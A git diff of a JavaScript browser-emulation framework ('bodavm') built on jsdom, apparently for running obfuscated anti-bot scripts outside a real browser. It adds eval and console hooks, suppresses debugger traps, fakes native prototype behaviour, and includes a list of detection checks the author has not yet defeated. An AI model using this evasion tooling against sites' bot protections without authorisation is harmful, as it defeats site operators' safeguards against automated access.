}catch (e){ + console.log_copy(`Object.keys `, `hook 出错`) + + } + return res } bodavm.toolsFunc.safefunction(Object.keys,'keys') - // Object.prototype.hasOwnProperty_ = Object.prototype.hasOwnProperty - // Object.prototype.hasOwnProperty = function(x) { - // // debugger - // if (x+''=='base64StrLength'){debugger} - // res = Object.prototype.hasOwnProperty_.apply(this, arguments) - // console.log('this',this, ' arg->',x ,' res->', res) - // return res - // } - // bodavm.toolsFunc.safefunction(Object.prototype.hasOwnProperty,'hasOwnProperty') - // var Object_toString = Object.prototype.toString; // Object.prototype.toString = function () { // let _temp = Object_toString.call(this, arguments); - // console.log(this); - // console.log("Object.prototype.toString: " + _temp); + // console.log_copy(this); + // console.log_copy("Object.prototype.toString: " + _temp); // // if(this.constructor.name === 'Document'){ // // return '[object HTMLDocument]'; // // }else if(this.constructor.name === 'CanvasRenderingContext2D'){ @@ -331,7 +490,7 @@ var mytime_stamp = Date.now() // String.fromCharCode_=String.fromCharCode // String.fromCharCode=function(x){ // res=String.fromCharCode_.apply(this,arguments) - // console.log('this->',JSON.stringify(this,function(k,v){ + // console.log_copy('this->',JSON.stringify(this,function(k,v){ // if (v ==window){ // return 'window' // }else{return v} diff --git a/env_xbb_lastest_jsdom/tools/globalThis.js b/env_xbb_lastest_jsdom/tools/globalThis.js index 0bcc3a0d..652a1d7c 100644 --- a/env_xbb_lastest_jsdom/tools/globalThis.js +++ b/env_xbb_lastest_jsdom/tools/globalThis.js @@ -1,7 +1,7 @@ // delete location // debugger ccc=new Date()-threetime -debugger +// debugger // 删除浏览器中不存在的对象 delete global; delete GLOBAL; @@ -9,8 +9,12 @@ delete VMError; delete Buffer; delete process; delete root; +// delete Error; delete WindowProperties; + delete globalThis[Symbol.toStringTag]; +delete SharedArrayBuffer; +// delete require // debugger window = globalThis; globalThis.__proto__ =bodavm.memory.globalobj['Window'].prototype @@ -438,7 +442,7 @@ bodavm.toolsFunc.windowdefineProperty(window, "WebKitMutationObserver", { writable: true, value: function WebKitMutationObserver() { return bodavm.toolsFunc.dispatch(this, window, "window", "WebKitMutationObserver", arguments); - }() + } }); bodavm.toolsFunc.windowdefineProperty(window, "WebKitCSSMatrix", { configurable: true, @@ -446,7 +450,7 @@ bodavm.toolsFunc.windowdefineProperty(window, "WebKitCSSMatrix", { writable: true, value: function WebKitCSSMatrix() { return bodavm.toolsFunc.dispatch(this, window, "window", "WebKitCSSMatrix", arguments); - }() + } }); bodavm.toolsFunc.windowdefineProperty(window, "XPathResult", { configurable: true, @@ -8380,8 +8384,36 @@ bodavm.toolsFunc.windowdefineProperty(window, "chrome", { } } }); -debugger; +// debugger; +//230531新增 +// bodavm.toolsFunc.windowdefineProperty(window, "Error", { +// configurable: true, +// enumerable: false, +// writable: true, +// value: function Error() { +// return bodavm.toolsFunc.dispatch(this, window, "window", "Error", arguments); +// }() +// }); +// const bodadom = new bodaobj['JSDOM'](bodaobj['bohtml_'], +// { +// url: "https://match2023.yuanrenxue.cn/topic/3", +// referrer: "https://match2023.yuanrenxue.cn/topic/3", +// contentType: "text/html", +// includeNodeLocations: true, +// pretendToBeVisual: true, +// runScripts: "dangerously", +// }); +// bodaobj.document=bodadom.document +// bodaobj.window=bodadom.window +// bodaobj.navigator=bodadom.window.navigator +// bodaobj.navigation=bodadom.window.navigation +// window:dom.window, + // document:dom.window.document, + // location:dom.window.location, + // navigator:dom.window.navigator, + // navigation:dom.window.navigation + debugger if (window.length > 0) { window_collect=bodaobj.document.getElementsByTagName('iframe'); for (let i = 0; i < window_collect.length; i++) { @@ -8391,14 +8423,25 @@ if (window.length > 0) { } +if (!bodavm.config.rs6){ + var boeval = eval; + eval = function (x) { + if (x=='debugger'){return function (){}} + // if (x=="this.a=1"){ + // // window.a=1 + // x="{a:1}" + // res=x + // console.log_copy(`执行eval,参数为${x.length > 30 ? x.substr(0, 50) : x} `,'res -> true' ,'rs6检测'); + // return res + // } + debugger; + console.log_copy(`执行eval,参数为${x.length > 30 ? x.substr(0, 50) : x}`); + res=boeval(x); + console.log_copy(`eval执行结果为 -->`,res) + return res + }; +} -var boeval = eval; -eval = function (x) { - if (x=='debugger'){return {}} - debugger; - console.log(`执行eval,参数为${x.length > 30 ? x.substr(0, 50) : x}`); - return boeval.call(this, x); -}; bodavm.toolsFunc.safefunction(eval); window.bodavm.memory.globalobj['Element'].prototype[Symbol.unscopables] = { after: true, @@ -8417,8 +8460,8 @@ window.bodavm.memory.globalobj['Element'].prototype[Symbol.unscopables].__proto_ Object.defineProperty(globalThis, 'window', { get: function window() { // if (bodavm.config.proxy ){ - // window=bodavm.toolsFunc.proxy(window,'window') - // return window + // window=bodavm.toolsFunc.proxy(window,'window') + // return window // }else{ return globalThis // } @@ -8427,37 +8470,103 @@ Object.defineProperty(globalThis, 'window', { // set:function window(){ // debugger // }, - configurable: false, + configurable: bodavm.config.proxy, enumerable:true }); - +// debugger //新增出问题就 注释掉 +// window.__proto__.__proto__.__proto__.__proto__未实现 需要修改__proto__=xx.prototype 为Object.setprototypeof()方法 +// Object.defineProperty(EventTarget.prototype, '__proto__', { +// get: function window() { +// // debugger +// // console.log('get window, __proto__',`!!!!检测!!!!!!`) +// return Object.prototype +// }, +// set:function window(){ +// // debugger +// console.log('set EventTarget.prototype.__proto__',`!!!!检测!!!!!!`) +// if ((typeof arguments[0] !=="object") || arguments[0] ==Object.prototype){ +// return arguments[0] +// }else{ +// bodavm.toolsFunc.throwError(`TypeError: `,`Immutable prototype object '#' cannot have their prototype set +// at set __proto__ [as __proto__] () +// at :1:37`) +// } +// }, +// configurable: false, +// enumerable:true +// }); + +Object.defineProperty(bodavm.memory.globalobj['WindowProperties'].prototype, '__proto__', { + get: function window() { + // debugger + console.log(`get bodavm.memory.globalobj['WindowProperties'].prototype`,`!!!!检测!!!!!!`) + return EventTarget.prototype + }, + set:function window(){ + // debugger + console.log('set window.WindowProperties.prototype',`!!!!检测!!!!!!`) + if ((typeof arguments[0] !=="object") || arguments[0] ==bodavm.memory.globalobj['EventTarget'].prototype){ + return arguments[0] + }else{ + bodavm.toolsFunc.throwError(`TypeError: `,`Immutable prototype object '#' cannot have their prototype set + at set __proto__ [as __proto__] () + at :1:37`) + } + }, + configurable: false, + enumerable:true +}); + +Object.defineProperty(Window.prototype, '__proto__', { + get: function window() { + console.log(`get Window.prototype, '__proto__'`,`!!!!检测!!!!!!`) + + return bodavm.memory.globalobj['WindowProperties'].prototype + }, + set:function window(){ + debugger + console.log('set window.__proto____proto__',`!!!!检测!!!!!!`) + if ((typeof arguments[0] !=="object") || arguments[0] ==bodavm.memory.globalobj['WindowProperties'].prototype){ + return arguments[0] + }else{ + bodavm.toolsFunc.throwError(`TypeError: `,`Immutable prototype object '#' cannot have their prototype set + at set __proto__ [as __proto__] () + at :1:27`) + } + }, + configurable: false, + enumerable:true +}); + Object.defineProperty(window, '__proto__', { get: function window() { - // console.log('get window, __proto__',`!!!!检测!!!!!!`) return Window.prototype }, set:function window(){ + debugger console.log('set window, __proto__',`!!!!检测!!!!!!`) - if (globalThis.__proto__ === arguments[0]){ - return globalThis.__proto__ + if ((arguments.length && typeof arguments[0] !=="object") || arguments[0] ==Window.prototype){ + return arguments[0] }else{ - bodavm.toolsFunc.throwError(`TypeError: `,`mutable prototype object '#' cannot have their prototype set + bodavm.toolsFunc.throwError(`TypeError: `,`Imutable prototype object '#' cannot have their prototype set at set __proto__ ()`) } }, configurable: false, enumerable:true }); + + //新增出问题就 注释掉 Object.defineProperty(globalThis.location,'__proto__',{ - get: function window() { + get: function () { // console.log('get globalThis.location,__proto__',`!!!!检测!!!!!!`) return Location.prototype }, - set:function window(){ + set:function (){ console.log('set globalThis.location,__proto__',`!!!!检测!!!!!!`) if (globalThis.location.__proto__ === arguments[0]){ return globalThis.location.__proto__ @@ -8480,4 +8589,52 @@ Object.defineProperty(window,'require',{ bodavm.toolsFunc.windowdefineProperty(window, "alert", {configurable:true, enumerable:true, writable:true, value:function alert (){return bodavm.toolsFunc.dispatch(this, window, "window", "alert", arguments)}}); +debugger +delete window.__proto__.__proto__.constructor + +//获取所有dom节点中带有id的并且赋值给window + +boidlist=bodaobj.document.querySelectorAll("[id]") +for (let i = 0; i < boidlist.length; i++) { + + window[boidlist[i].id]=bodavm.toolsFunc.setProto(boidlist[i].nodeName) + window[boidlist[i].id]._boarg=boidlist[i] + // debugger + +} +// scriptsss=document.scripts +// for (let i = 0; i < scriptsss.length; i++) { +// const element = scriptsss[i]; +// if (element.src){ + +// }else{ +// debugger +// code=element.innerHTML +// eval(code) +// } + +// } +//230531新增 +// debugger +// new Proxy(navigator.plugins[0],{ +// get:function(){ +// debugger +// } +// }) +//过console检测 +// Object.defineProperty(console,Symbol.toStringTag,{ +// value: 'console', +// configurable: true, +// writable: false, +// enumerable: false +// }) +// console.memory= +// console.toString=function (){ +// return '[object console]' +// } +// $=function(){} +// $.ajax:function(){ +// debugger +// console.log_copy('ajax------',JSON.stringify(arguments)) +// } diff --git a/env_xbb_lastest_jsdom/tools/myReqHelper.js b/env_xbb_lastest_jsdom/tools/myReqHelper.js new file mode 100644 index 00000000..5c59c40e --- /dev/null +++ b/env_xbb_lastest_jsdom/tools/myReqHelper.js @@ -0,0 +1,25 @@ +var $=function (){ + +} + +$.get=function(url,data,success,dataType){ + console.log_copy(`$.get -->`,'arg -> ',JSON.stringify(arguments)) + +} +$.post=function(url, data, success, dataType){ + console.log_copy(`$.post -->`,'arg -> ',JSON.stringify(arguments)) + +} +$.ajax=function (obj){ + console.log_copy(`$.ajax -->`,'arg -> ',JSON.stringify(obj)) +} + + +var axios=function(){} +axios.get=function(){ + console.log_copy(`axios.get -->`,'arg -> ',JSON.stringify(arguments)) +} +axios.post=function(){ + console.log_copy(`axios.post -->`,'arg -> ',JSON.stringify(arguments)) + +} \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/tools/printLog.js b/env_xbb_lastest_jsdom/tools/printLog.js index 29748bc3..ce6483c9 100644 --- a/env_xbb_lastest_jsdom/tools/printLog.js +++ b/env_xbb_lastest_jsdom/tools/printLog.js @@ -51,11 +51,19 @@ bodavm.toolsFunc.printLog(arguments) } - + //自动生成hook代码 return console.log_.apply(this, arguments) }; - + console.log_copy=console.log bodavm.toolsFunc.safefunction(console.log,'log') + // Object.defineProperty(console,'log',{ + // get:function (){ + // return console.log + // }, + // // set:function (){ + // // return console.log + // // } + // }) }(); diff --git a/env_xbb_lastest_jsdom/tools/proxyObj.js b/env_xbb_lastest_jsdom/tools/proxyObj.js index 8d7c4a36..f31db6ec 100644 --- a/env_xbb_lastest_jsdom/tools/proxyObj.js +++ b/env_xbb_lastest_jsdom/tools/proxyObj.js @@ -1,3 +1,4 @@ +// debugger // window=bodavm.toolsFunc.proxy(window,"window") // CSS=bodavm.toolsFunc.proxy(CSS,"CSS"); diff --git a/env_xbb_lastest_jsdom/tools/toolsFunc.js b/env_xbb_lastest_jsdom/tools/toolsFunc.js index 48c4896b..3fbc4298 100644 --- a/env_xbb_lastest_jsdom/tools/toolsFunc.js +++ b/env_xbb_lastest_jsdom/tools/toolsFunc.js @@ -6,7 +6,28 @@ */ ;; !function () { - + bodavm.toolsFunc.deepCloneWithRefs=function deepCloneWithRefs(obj, map = new Map()) { + if (obj === null || typeof obj !== 'object') { + return obj; + } + if (map.has(obj)) { + return map.get(obj); + } + let copy = Array.isArray(obj) ? [] : {}; + map.set(obj, copy); + for (let key in obj) { + if (obj.hasOwnProperty(key)) { + copy[key] = deepCloneWithRefs(obj[key], map); + } + } + Object.getOwnPropertySymbols(obj).forEach(sym => { + copy[sym] = deepCloneWithRefs(obj[sym], map); + }); + Object.setPrototypeOf(copy, Object.getPrototypeOf(obj)); + return copy; + } + + bodavm.toolsFunc.setProto = function setpro(dom,ele) { //设置原型链 if (!ele){ @@ -14,7 +35,21 @@ } // let ele = {} let tagpro = dom.toUpperCase() + // debugger + switch (tagpro) { + case "TABLE": + Object.setPrototypeOf(ele, bodavm.memory.globalobj['HTMLTableElement'].prototype) + return ele + case "HEADER": + Object.setPrototypeOf(ele, bodavm.memory.globalobj['HTMLElement'].prototype) + return ele + case "B": + Object.setPrototypeOf(ele, bodavm.memory.globalobj['HTMLElement'].prototype) + return ele + case "H4": + Object.setPrototypeOf(ele, bodavm.memory.globalobj['HTMLHeadingElement'].prototype) + return ele case "DIV": Object.setPrototypeOf(ele, bodavm.memory.globalobj['HTMLDivElement'].prototype) return ele @@ -303,7 +338,7 @@ } // 实现r={} ;r.__proto__=document ,r.location 报错 - if (self.__proto__.constructor == self.__proto__.__proto__.constructor) { + if (!(self._boisinit) && self.__proto__.constructor == self.__proto__.__proto__.constructor) { debugger console.log(self, ` bodavm.toolsFunc.dispatch 执行出错`, funcName); return bodavm.toolsFunc.throwError("TypeError", "Illegal invocation") diff --git a/env_xbb_lastest_jsdom/tools/toolsPlugin.js b/env_xbb_lastest_jsdom/tools/toolsPlugin.js index 25b0350e..b8845be2 100644 --- a/env_xbb_lastest_jsdom/tools/toolsPlugin.js +++ b/env_xbb_lastest_jsdom/tools/toolsPlugin.js @@ -37,12 +37,12 @@ bodavm.toolsFunc.addMimeType = function addMimeType(mimeType){ if(mimeTypeArray === undefined){ mimeTypeArray = bodavm.toolsFunc.createMimeTypeArray(); } - Object.defineProperty(mimeTypeArray,bodavm.memory.symbolProperty,{ - value:1, - enumerable:false, - writable:false, - configurable:false - },'bobo') + // Object.defineProperty(mimeTypeArray,bodavm.memory.symbolProperty,{ + // value:1, + // enumerable:false, + // writable:false, + // configurable:false + // },'bobo') let index = mimeTypeArray.length; let flag = true; for(let i=0;i`,`长度未变化直接返回 bodavm.memory.all`); } - // let arg=arguments[0] // debugger // if (arg){ @@ -43,8 +34,6 @@ bodavm.envFunc.Document_all_get = function Document_all_get() { // console.log(`Document_all_get ->`,`arg :${arg} `,`res -> ${res}`) // return res } - - // debugger a._boarg = true a.__proto__[Symbol.iterator] = Array.prototype[Symbol.iterator]; @@ -53,8 +42,12 @@ bodavm.envFunc.Document_all_get = function Document_all_get() { } - +//document.all[0]==document.all.item(0)存在问题 已解决 // ldvm.toolsFunc.deleteProperty(alert,"arguments"); // 强行删除 // ldvm.toolsFunc.deleteProperty(alert,"caller"); // ldvm.toolsFunc.deleteProperty(alert,"prototype"); -// debugger \ No newline at end of file +// debugger + +//未解决 +// var cc=navigator.plugins[0] +// cc[0]==cc[0] \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/tools/检测点一览.js b/env_xbb_lastest_jsdom/tools/检测点一览.js new file mode 100644 index 00000000..4bda52f5 --- /dev/null +++ b/env_xbb_lastest_jsdom/tools/检测点一览.js @@ -0,0 +1,27 @@ +//未解决 +var ccc=navigator.plugins +ccc[0]==ccc[0] +//未解决 +mouseEvent isTrusted +//未解决 +console .memory +//未解决 js可以通过给window代理,解决delete的问题,但是挂上代理又会被检测,几乎无解 +form = document.createElement("form"); +form.id = "__Zm9ybS5pZAo__"; +form.action = "https://ucenter.miit.gov.cn/login.jsp"; +document.body.appendChild(form); +if (window["__Zm9ybS5pZAo__"] !== form){console.log("你被检测了")} +if (!("__Zm9ybS5pZAo__" in window) || window.hasOwnProperty("__Zm9ybS5pZAo__")){console.log("你被检测了")} +if (!(delete window["__Zm9ybS5pZAo__"])){console.log("你被检测了")} +if (window["__Zm9ybS5pZAo__"] !== form){console.log("你被检测了")} +if (Object.getOwnPropertyDescriptor(window, "__Zm9ybS5pZAo__")){console.log("你被检测了")} +window["__Zm9ybS5pZAo__"] = 1; +if (window["__Zm9ybS5pZAo__"] === form){console.log("你被检测了")} +if (!Object.getOwnPropertyDescriptor(window, "__Zm9ybS5pZAo__")){console.log("你被检测了")} +delete window["__Zm9ybS5pZAo__"]; +if (window["__Zm9ybS5pZAo__"] !== form){console.log("你被检测了")} + + + +//未解决 //可以通过不hook eval 解决 +!new function(){eval("this.a=1")}().a \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/tools/添加实例化输出.js b/env_xbb_lastest_jsdom/tools/添加实例化输出.js new file mode 100644 index 00000000..848e27e8 --- /dev/null +++ b/env_xbb_lastest_jsdom/tools/添加实例化输出.js @@ -0,0 +1,583 @@ +//babel库及文件模块导入 +const fs = require('fs'); +const path = require("path"); + +//babel库相关,解析,转换,构建,生产 +const parser = require("@babel/parser"); +const traverse = require("@babel/traverse").default; +const types = require("@babel/types"); +const generator = require("@babel/generator").default; +//读取文件 +// process.argv.length>2?encodeFile =process.argv[2]:encodeFile='./encode.js' +process.argv.length > 3 ? encodeFile = process.argv[3] : decodeFile = './decodeResult.js' +//添加 +/* +* console.log_copy('AbortController 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); +* +* */ + + +function readDir(dirPath) { + const files = fs.readdirSync(dirPath); + + for (const file of files) { + const filePath = path.join(dirPath, file); + const stat = fs.statSync(filePath); + + if (stat.isDirectory()) { + readDir(filePath); + } else { + const content = fs.readFileSync(filePath, "utf8"); + const fileName = path.basename(filePath); + const newFilePath = path.join(dirPath, fileName); + let ast = parser.parse(content); + const constantFold = + { + FunctionExpression(path) { + if (path.node.id){ + myname=path.node.id.name + console.log('name',myname) + newbody = { + "type": "File", + "start": 0, + "end": 137, + "loc": { + "start": { + "line": 1, + "column": 0, + "index": 0 + }, + "end": { + "line": 1, + "column": 137, + "index": 137 + } + }, + "errors": [], + "program": { + "type": "Program", + "start": 0, + "end": 137, + "loc": { + "start": { + "line": 1, + "column": 0, + "index": 0 + }, + "end": { + "line": 1, + "column": 137, + "index": 137 + } + }, + "sourceType": "module", + "interpreter": null, + "body": [ + { + "type": "ExpressionStatement", + "start": 0, + "end": 137, + "loc": { + "start": { + "line": 1, + "column": 0, + "index": 0 + }, + "end": { + "line": 1, + "column": 137, + "index": 137 + } + }, + "expression": { + "type": "CallExpression", + "start": 0, + "end": 137, + "loc": { + "start": { + "line": 1, + "column": 0, + "index": 0 + }, + "end": { + "line": 1, + "column": 137, + "index": 137 + } + }, + "callee": { + "type": "MemberExpression", + "start": 0, + "end": 16, + "loc": { + "start": { + "line": 1, + "column": 0, + "index": 0 + }, + "end": { + "line": 1, + "column": 16, + "index": 16 + } + }, + "object": { + "type": "Identifier", + "start": 0, + "end": 7, + "loc": { + "start": { + "line": 1, + "column": 0, + "index": 0 + }, + "end": { + "line": 1, + "column": 7, + "index": 7 + }, + "identifierName": "console" + }, + "name": "console" + }, + "computed": false, + "property": { + "type": "Identifier", + "start": 8, + "end": 16, + "loc": { + "start": { + "line": 1, + "column": 8, + "index": 8 + }, + "end": { + "line": 1, + "column": 16, + "index": 16 + }, + "identifierName": "log_copy" + }, + "name": "log_copy" + } + }, + "arguments": [ + { + "type": "StringLiteral", + "start": 17, + "end": 46, + "loc": { + "start": { + "line": 1, + "column": 17, + "index": 17 + }, + "end": { + "line": 1, + "column": 46, + "index": 46 + } + }, + "extra": { + "rawValue": `${myname} 实例化对象参数为 ->`, + "raw": `'${myname} 实例化对象参数为 ->'` + }, + "value": `${myname} 实例化对象参数为 ->` + }, + { + "type": "CallExpression", + "start": 47, + "end": 136, + "loc": { + "start": { + "line": 1, + "column": 47, + "index": 47 + }, + "end": { + "line": 1, + "column": 136, + "index": 136 + } + }, + "callee": { + "type": "MemberExpression", + "start": 47, + "end": 64, + "loc": { + "start": { + "line": 1, + "column": 47, + "index": 47 + }, + "end": { + "line": 1, + "column": 64, + "index": 64 + } + }, + "object": { + "type": "Identifier", + "start": 47, + "end": 51, + "loc": { + "start": { + "line": 1, + "column": 47, + "index": 47 + }, + "end": { + "line": 1, + "column": 51, + "index": 51 + }, + "identifierName": "JSON" + }, + "name": "JSON" + }, + "computed": false, + "property": { + "type": "Identifier", + "start": 52, + "end": 64, + "loc": { + "start": { + "line": 1, + "column": 52, + "index": 52 + }, + "end": { + "line": 1, + "column": 64, + "index": 64 + }, + "identifierName": "stringify_bo" + }, + "name": "stringify_bo" + } + }, + "arguments": [ + { + "type": "Identifier", + "start": 65, + "end": 74, + "loc": { + "start": { + "line": 1, + "column": 65, + "index": 65 + }, + "end": { + "line": 1, + "column": 74, + "index": 74 + }, + "identifierName": "arguments" + }, + "name": "arguments" + }, + { + "type": "FunctionExpression", + "start": 75, + "end": 135, + "loc": { + "start": { + "line": 1, + "column": 75, + "index": 75 + }, + "end": { + "line": 1, + "column": 135, + "index": 135 + } + }, + "id": null, + "generator": false, + "async": false, + "params": [ + { + "type": "Identifier", + "start": 84, + "end": 85, + "loc": { + "start": { + "line": 1, + "column": 84, + "index": 84 + }, + "end": { + "line": 1, + "column": 85, + "index": 85 + }, + "identifierName": "k" + }, + "name": "k" + }, + { + "type": "Identifier", + "start": 86, + "end": 87, + "loc": { + "start": { + "line": 1, + "column": 86, + "index": 86 + }, + "end": { + "line": 1, + "column": 87, + "index": 87 + }, + "identifierName": "v" + }, + "name": "v" + } + ], + "body": { + "type": "BlockStatement", + "start": 88, + "end": 135, + "loc": { + "start": { + "line": 1, + "column": 88, + "index": 88 + }, + "end": { + "line": 1, + "column": 135, + "index": 135 + } + }, + "body": [ + { + "type": "IfStatement", + "start": 89, + "end": 134, + "loc": { + "start": { + "line": 1, + "column": 89, + "index": 89 + }, + "end": { + "line": 1, + "column": 134, + "index": 134 + } + }, + "test": { + "type": "BinaryExpression", + "start": 93, + "end": 102, + "loc": { + "start": { + "line": 1, + "column": 93, + "index": 93 + }, + "end": { + "line": 1, + "column": 102, + "index": 102 + } + }, + "left": { + "type": "Identifier", + "start": 93, + "end": 94, + "loc": { + "start": { + "line": 1, + "column": 93, + "index": 93 + }, + "end": { + "line": 1, + "column": 94, + "index": 94 + }, + "identifierName": "v" + }, + "name": "v" + }, + "operator": "==", + "right": { + "type": "Identifier", + "start": 96, + "end": 102, + "loc": { + "start": { + "line": 1, + "column": 96, + "index": 96 + }, + "end": { + "line": 1, + "column": 102, + "index": 102 + }, + "identifierName": "window" + }, + "name": "window" + } + }, + "consequent": { + "type": "BlockStatement", + "start": 103, + "end": 120, + "loc": { + "start": { + "line": 1, + "column": 103, + "index": 103 + }, + "end": { + "line": 1, + "column": 120, + "index": 120 + } + }, + "body": [ + { + "type": "ReturnStatement", + "start": 104, + "end": 119, + "loc": { + "start": { + "line": 1, + "column": 104, + "index": 104 + }, + "end": { + "line": 1, + "column": 119, + "index": 119 + } + }, + "argument": { + "type": "StringLiteral", + "start": 111, + "end": 119, + "loc": { + "start": { + "line": 1, + "column": 111, + "index": 111 + }, + "end": { + "line": 1, + "column": 119, + "index": 119 + } + }, + "extra": { + "rawValue": "window", + "raw": "'window'" + }, + "value": "window" + } + } + ], + "directives": [] + }, + "alternate": { + "type": "BlockStatement", + "start": 124, + "end": 134, + "loc": { + "start": { + "line": 1, + "column": 124, + "index": 124 + }, + "end": { + "line": 1, + "column": 134, + "index": 134 + } + }, + "body": [ + { + "type": "ReturnStatement", + "start": 125, + "end": 133, + "loc": { + "start": { + "line": 1, + "column": 125, + "index": 125 + }, + "end": { + "line": 1, + "column": 133, + "index": 133 + } + }, + "argument": { + "type": "Identifier", + "start": 132, + "end": 133, + "loc": { + "start": { + "line": 1, + "column": 132, + "index": 132 + }, + "end": { + "line": 1, + "column": 133, + "index": 133 + }, + "identifierName": "v" + }, + "name": "v" + } + } + ], + "directives": [] + } + } + ], + "directives": [] + } + } + ] + } + ] + } + } + ], + "directives": [] + }, + "comments": [] + } + debugger + // console.log('myname',myname) + path.node.body.body.unshift(newbody); + path.stop() + } + + }, + } + + traverse(ast, constantFold); + + + console.log('处理完成!!!') + let {code} = generator(ast, opts = {jsesc: {"minimal": true}}) + fs.writeFileSync(newFilePath, code); + + } + } +} + +readDir("D:\\My_Dir\\env_xbb_lastest_jsdom\\env"); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/tools/脱环境/readme.md b/env_xbb_lastest_jsdom/tools/脱环境/readme.md new file mode 100644 index 00000000..b7a8cd5f --- /dev/null +++ b/env_xbb_lastest_jsdom/tools/脱环境/readme.md @@ -0,0 +1,2 @@ +1.先运行tuodom.py +2.然后运行tuodom.js \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/tools/脱环境/tuodom.js b/env_xbb_lastest_jsdom/tools/脱环境/tuodom.js index 6e81c155..43e90e6b 100644 --- a/env_xbb_lastest_jsdom/tools/脱环境/tuodom.js +++ b/env_xbb_lastest_jsdom/tools/脱环境/tuodom.js @@ -1,5 +1,4 @@ -// 获取原型环境代码 -getProtoEnvCode = function getProtoEnvCode(proto, instanceObj){ +getProtoEnvCode = function getProtoEnvCode(proto, instanceObj) { // proto: 原型函数 // instanceObj: 实例对象, 可选参数 let code = ""; @@ -7,37 +6,52 @@ getProtoEnvCode = function getProtoEnvCode(proto, instanceObj){ // 添加注释 code += `// ${protoName}对象\r\n`; // 定义原型 - code += `bodavm.memory.globalobj['${protoName}'] = function ${protoName}(){`; - try{ - new proto; - }catch(e){ - code += `this._boisinit=bodavm.config.isinit;return bodavm.toolsFunc.throwError("${e.name}", "${e.message}")`; + new_name=instanceObj.toLowerCase() + if (new_name.startsWith('webkit')){ + code += `${instanceObj} =${protoName}` + return code } - code += `}\r\n`; + code += `bodavm.memory.globalobj['${protoName}'] = function ${protoName}(){`; + try { + new proto; + // try { + // eval('new proto(1)') + // }catch (e){ + // debugger + // } + code += `this._boarg= new bodaobj.window.${protoName}();` + } catch (e) { + // if (!(this instanceof Image)) { + // return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Image': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + // }; + code += `if (!(this instanceof ${protoName})){return bodavm.toolsFunc.throwError("${e.name}", "${e.message}")};`; + } + code += `this._boisinit=bodavm.config.isinit;\r\nconsole.log_copy('${protoName} 实例化对象 --->',JSON.stringify_bo(arguments,function(k,v){if (v==window){return 'window'}else{return v}}))};\r\n +`; // 保护原型 code += `bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['${protoName}'], "${protoName}");\r\n`; // 设置原型链 let protoObj = proto.prototype; let proto_protoName = Object.getPrototypeOf(protoObj)[Symbol.toStringTag]; - if(proto_protoName !== undefined){ + if (proto_protoName !== undefined) { code += `bodavm.memory.globalobj['${protoName}'].prototype.__proto__=bodavm.memory.globalobj['${proto_protoName}'].prototype;\r\n`; - + } - if(proto.__proto__.name){ - code += `bodavm.memory.globalobj['${protoName}'].__proto__=bodavm.memory.globalobj['${proto.__proto__.name}'];\r\n`; + if (proto.__proto__.name) { + code += `bodavm.memory.globalobj['${protoName}'].__proto__=bodavm.memory.globalobj['${proto.__proto__.name}'];\r\n`; } - + // 设置原型的属性 - for(const key in Object.getOwnPropertyDescriptors(proto)){ - if(key === "arguments" || key === "caller" || key === "length" || key === "name" || key === "prototype"){ + for (const key in Object.getOwnPropertyDescriptors(proto)) { + if (key === "arguments" || key === "caller" || key === "length" || key === "name" || key === "prototype") { continue; } let descriptor = getDescriptor(proto, key, protoName, protoName, instanceObj); code += `bodavm.toolsFunc.defineProperty('${protoName}', "${key}", ${descriptor});\r\n`; } // 设置原型对象的属性 - for(const key in Object.getOwnPropertyDescriptors(proto.prototype)){ - if(key === "constructor"){ + for (const key in Object.getOwnPropertyDescriptors(proto.prototype)) { + if (key === "constructor") { continue; } let descriptor = getDescriptor(proto.prototype, key, `${protoName}.prototype`, protoName, instanceObj); @@ -48,89 +62,96 @@ getProtoEnvCode = function getProtoEnvCode(proto, instanceObj){ return code; } // 获取实例对象的环境代码 -getObjEnvCode = function getObjEnvCode(obj, objName, instanceObj){ +getObjEnvCode = function getObjEnvCode(obj, objName, instanceObj) { let code = ""; // 添加注释 code += `// ${objName}对象\r\n`; // 定义对象 - code += `bodavm.memory.globalobj['${objName}'] = {}\r\n`; + code += `bodavm.memory.globalobj['${objName}'] = { + _boisinit:bodavm.config.isinit + }\r\n`; // 设置原型 let protoName = Object.getPrototypeOf(obj)[Symbol.toStringTag]; - if(protoName !== undefined){ + if (protoName !== undefined) { code += `bodavm.memory.globalobj['${objName}'].__proto__=bodavm.memory.globalobj['${protoName}'].prototype;\r\n`; } - for(const key in Object.getOwnPropertyDescriptors(obj)){ + for (const key in Object.getOwnPropertyDescriptors(obj)) { let descriptor = getDescriptor2(obj, key, objName, objName, instanceObj); code += `bodavm.toolsFunc.defineProperty('${objName}', "${key}", ${descriptor});\r\n`; } console.log(code); - copy(code); + // copy(code); + return code } // 获取属性描述符 -getDescriptor = function getDescriptor(obj, prop, objName, protoName, instanceObj){ +getDescriptor = function getDescriptor(obj, prop, objName, protoName, instanceObj) { let descriptor = Object.getOwnPropertyDescriptor(obj, prop); let configurable = descriptor.configurable; let enumerable = descriptor.enumerable; let code = `{configurable:${configurable}, enumerable:${enumerable}, `; - if(descriptor.hasOwnProperty("writable")){ + if (descriptor.hasOwnProperty("writable")) { let writable = descriptor.writable; code += `writable:${writable}, `; } - if(descriptor.hasOwnProperty("value")){ + if (descriptor.hasOwnProperty("value")) { let value = descriptor.value; - if(value instanceof Object){ - if(typeof value === "function"){ - let name=objName.split('.')[0] - let name_pro=objName.split('.')[1] + if (prop=='delete') {prop ='bodelete'} + if (prop =='continue'){prop ='bocontinue'} + if (value instanceof Object) { + if (typeof value === "function") { + let name = objName.split('.')[0] + let name_pro = objName.split('.')[1] code += `value:function ${prop} (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['${name}'].${name_pro}, "${protoName}", "${prop}", arguments)}`; - }else{ + } else { // 需要关注 console.log("需要额外关注", value); // JSON.stringify(value); code += `value:{}` } - }else if(typeof value === 'symbol'){ + } else if (typeof value === 'symbol') { code += `value:${value.toString()}`; - }else if(typeof value === "string"){ + } else if (typeof value === "string") { code += `value:"${value}"`; - }else{ + } else { code += `value:${value}`; } } - 